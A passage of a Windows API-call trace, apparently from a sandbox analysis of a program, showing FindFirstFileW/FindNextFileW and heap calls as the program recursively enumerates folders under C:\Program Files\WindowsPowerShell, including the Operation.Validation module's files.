	[0181.241] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.241] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0181.241] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0181.241] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0181.241] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1
	[0181.241] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0181.241] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema\\*", lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eb28
	[0181.241] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.241] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0181.242] FindClose (in: hFindFile=0x76eb28 | out: hFindFile=0x76eb28) returned 1
	[0181.242] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0181.242] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0
	[0181.242] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0181.242] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0181.242] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1
	[0181.242] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0181.242] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76eb28
	[0181.244] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.244] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1
	[0181.244] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0181.244] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0181.244] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.244] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1
	[0181.245] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4110000
	[0181.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\*", lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0182.358] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.359] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0182.359] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4173f68
	[0182.360] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.360] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.360] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comprehensive", cAlternateFileName="COMPRE~1")) returned 1
	[0182.360] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4183f70
	[0182.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f568
	[0182.471] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.471] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.471] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.471] FindClose (in: hFindFile=0x76f568 | out: hFindFile=0x76f568) returned 1
	[0182.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0182.471] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0182.471] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4183f70
	[0182.471] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76efe8
	[0182.485] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.485] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.486] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.486] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0182.486] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0182.486] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0182.486] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0182.486] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0182.486] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1
	[0182.486] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.psd1", cAlternateFileName="")) returned 1
	[0182.486] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.psm1", cAlternateFileName="")) returned 1
	[0182.486] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OperationValidationResources.psd1", cAlternateFileName="")) returned 1
	[0182.486] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 1
	[0182.487] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0182.487] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f568
	[0182.487] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.487] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.487] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1
	[0182.487] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4173f68
	[0182.487] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ee68
	[0182.503] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
